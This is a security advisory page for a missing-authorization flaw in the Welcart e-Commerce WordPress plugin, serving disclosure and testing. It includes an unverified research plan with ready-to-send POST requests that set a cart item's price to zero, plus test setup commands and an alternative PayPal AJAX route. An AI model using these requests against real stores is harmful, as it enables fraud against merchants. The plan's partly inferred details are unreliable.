CVE-2026-49775

Welcart e-Commerce <= 2.11.28 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.11.29
Patched in
5d
Time to patch

Description

The Welcart e-Commerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.11.28. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.11.28
PublishedJune 4, 2026
Last updatedJune 8, 2026
Affected pluginusc-e-shop

What Changed in the Fix

Changes introduced in v2.11.29

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets a missing authorization vulnerability in **Welcart e-Commerce <= 2.11.28**. Based on the source code in `classes/cart.class.php`, the vulnerability likely resides in the `upCart()` function, which allows administrative parameters to override item prices in the shopping car…

Show full research plan

This research plan targets a missing authorization vulnerability in Welcart e-Commerce <= 2.11.28. Based on the source code in classes/cart.class.php, the vulnerability likely resides in the upCart() function, which allows administrative parameters to override item prices in the shopping cart without a capability check.

1. Vulnerability Summary

The usces_cart::upCart method in classes/cart.class.php handles updates to the shopping cart (e.g., quantity changes). It contains logic intended for administrators to manually set prices during order editing. However, this logic is reachable by unauthenticated users through the standard cart update process. By providing the order_action parameter, an attacker can bypass the standard price calculation (get_realprice) and supply an arbitrary price via the skuPrice parameter.

2. Attack Vector Analysis

  • Endpoint: Any frontend page (triggers init hook) or admin-ajax.php if mapped to an action. The primary vector is a POST request to the site root or cart page.
  • Vulnerable Action: Cart Update (upCart).
  • Authentication: None required (Unauthenticated).
  • Preconditions:
    • The plugin must be active.
    • At least one product (with a valid SKU) must be added to the current session's cart.
  • Vulnerable Parameters:
    • upCart: Triggers the update logic.
    • order_action: Bypasses server-side price calculation.
    • skuPrice: Supplies the unauthorized price value.
    • quant: Used to identify the target item in the cart.

3. Code Flow

  1. Entry Point: A POST request is sent containing the upCart parameter.
  2. Hook: usc_e_shop::init (in classes/usceshop.class.php) detects $_POST['upCart'] and calls $this->cart->upCart().
  3. Processing: usces_cart::upCart() (in classes/cart.class.php) iterates through $_POST['quant'].
  4. Vulnerable Branch:
    // Line 139 in classes/cart.class.php
    if ( isset( $_POST['order_action'] ) ) {
        $price = (int) $_POST['skuPrice'][ $index ][ $post_id ][ $sku ];
    } else {
        $price = $this->get_realprice( $post_id, $sku, $_SESSION['usces_cart'][ $this->serial ]['quant'] );
        // ...
    }
    $_SESSION['usces_cart'][ $this->serial ]['price'] = $price;
    
  5. Sink: The manipulated $price is saved directly into the $_SESSION['usces_cart'] array, which is used for the final checkout total.

4. Nonce Acquisition Strategy

The upCart and inCart operations in Welcart typically do not require nonces for frontend users as they are part of the standard, unauthenticated shopping experience.

If a nonce is enforced in a specific environment, it is usually localized in the uscesL10n object.

  • Strategy:
    1. Navigate to a product page.
    2. Check for a nonce in the page source.
    3. JS Variable: window.uscesL10n?.item_nonce (inferred from Welcart standards).
    4. Creation/Verification Consistency: If wp_verify_nonce($nonce, -1) is used, any valid nonce will work.

5. Exploitation Strategy

The goal is to set the price of an item in the cart to 0.

Step 1: Add an item to the cart

  • Tool: http_request
  • Method: POST
  • URL: {{BASE_URL}}/?usces_cart=1
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    inCart[{{POST_ID}}][{{SKU}}]=inCart&quant[{{POST_ID}}][{{SKU}}]=1
    

Step 2: Manipulate the price via upCart

  • Tool: http_request
  • Method: POST
  • URL: {{BASE_URL}}/?usces_cart=1
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    upCart=1&order_action=1&quant[0][{{POST_ID}}][{{SKU}}]=1&skuPrice[0][{{POST_ID}}][{{SKU}}]=0
    
    Note: index is 0 for the first item in the cart.

Step 3: Verify the cart

  • Tool: http_request
  • Method: GET
  • URL: {{BASE_URL}}/usces-cart/ (or the page containing the [usces_cart] shortcode).

6. Test Data Setup

  1. Create a Product:
    wp post create --post_type=post --post_title="Expensive Item" --post_status=publish
    # Capture the POST_ID
    
  2. Add Welcart Metadata:
    Welcart requires specific metadata to recognize a post as an item.
    wp post meta add {{POST_ID}} _itemCode "TEST-SKU"
    wp post meta add {{POST_ID}} _itemName "Expensive Item"
    wp post meta add {{POST_ID}} _itemPrice 9999
    wp post meta add {{POST_ID}} _itemZaiko 1000
    # Add SKU
    wp db query "INSERT INTO wp_usces_skus (post_id, code, price, stock) VALUES ({{POST_ID}}, 'SKU001', 9999, 100);"
    
  3. Ensure Cart Page Exists:
    wp post create --post_type=page --post_title="Cart" --post_content="[usces_cart]" --post_status=publish
    

7. Expected Results

  • The upCart request should return a 302 redirect (standard Welcart behavior after cart update).
  • The subsequent GET request to the cart page should show the "Expensive Item" with a Unit Price and Subtotal of 0 instead of 9999.

8. Verification Steps

  1. Check Session (via Browser): Use browser_navigate to the cart page and browser_eval to check for the text "0" in the price columns.
  2. Database Check: Since the cart is session-based, it isn't in the DB until the order is placed. To fully verify, complete a "Mock" checkout and then check the wp_usces_order table:
    wp db query "SELECT order_item_total_price FROM wp_usces_order ORDER BY ID DESC LIMIT 1;"
    
    The result should be 0.00.

9. Alternative Approaches

If order_action is blocked by a global WAF or check:

  • Explore classes/paymentPayPalCP.class.php. The create_order AJAX action (wp_ajax_nopriv_create_order) might allow injecting order data if it lacks validation.
  • Payload for PayPal action:
    POST /wp-admin/admin-ajax.php
    action=create_order&... (requires tracing the create_order function body, which was truncated in the source but is registered for nopriv).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.